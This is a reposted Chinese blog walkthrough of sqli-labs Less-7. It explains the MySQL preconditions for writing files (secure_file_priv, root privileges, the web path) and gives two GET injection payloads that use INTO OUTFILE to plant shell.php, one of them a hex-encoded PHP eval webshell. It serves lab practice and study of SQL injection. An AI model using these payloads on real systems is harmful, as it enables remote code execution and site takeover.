欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > IT业 > sqli-labs之Less-7 GET注入写shell

sqli-labs之Less-7 GET注入写shell

2025/4/22 4:41:33 来源:https://blog.csdn.net/qq_73831912/article/details/147348993  浏览:    关键词:sqli-labs之Less-7 GET注入写shell

验证注入点:单引号报错,'))

根据提示,是想让我们试试写shell

第一个条件 secure_file_priv

写shell即MySQL需要对外写文件,但默认MySQL是不允许outfile来导出数据的,先动手在MySQL确认一下。

MySQL特性,secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。

secure-file-priv参数是用来限制LOAD DATA,SELECT ...OUTFILE,and LOAD_FILE()传到哪个指定目录的

    1、当secure_file_priv的值为null,表示限制mysqld不允许导入|导出
    2、当secure_file_prv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

重启mysql

第二个条件 必须是root权限

第三个条件 必须知道网站路径

利用报错得到网站路径;

利用函数select @@datadir得到mysql的路径,再推导网站路径

payload:

id=1')) union select null,0x3c3f706870206576616c28245f504f53545b27707764275d293b3f3e,null into outfile 'E:/PhpStudent/phpstudy_pro/WWW/sqlilabs/Less-7/shell.php' --+

id=1')) union select 1,"<?php phpinfo(); ?>",3 into outfile "E:\\PhpStudent\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\shell.php" --+

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com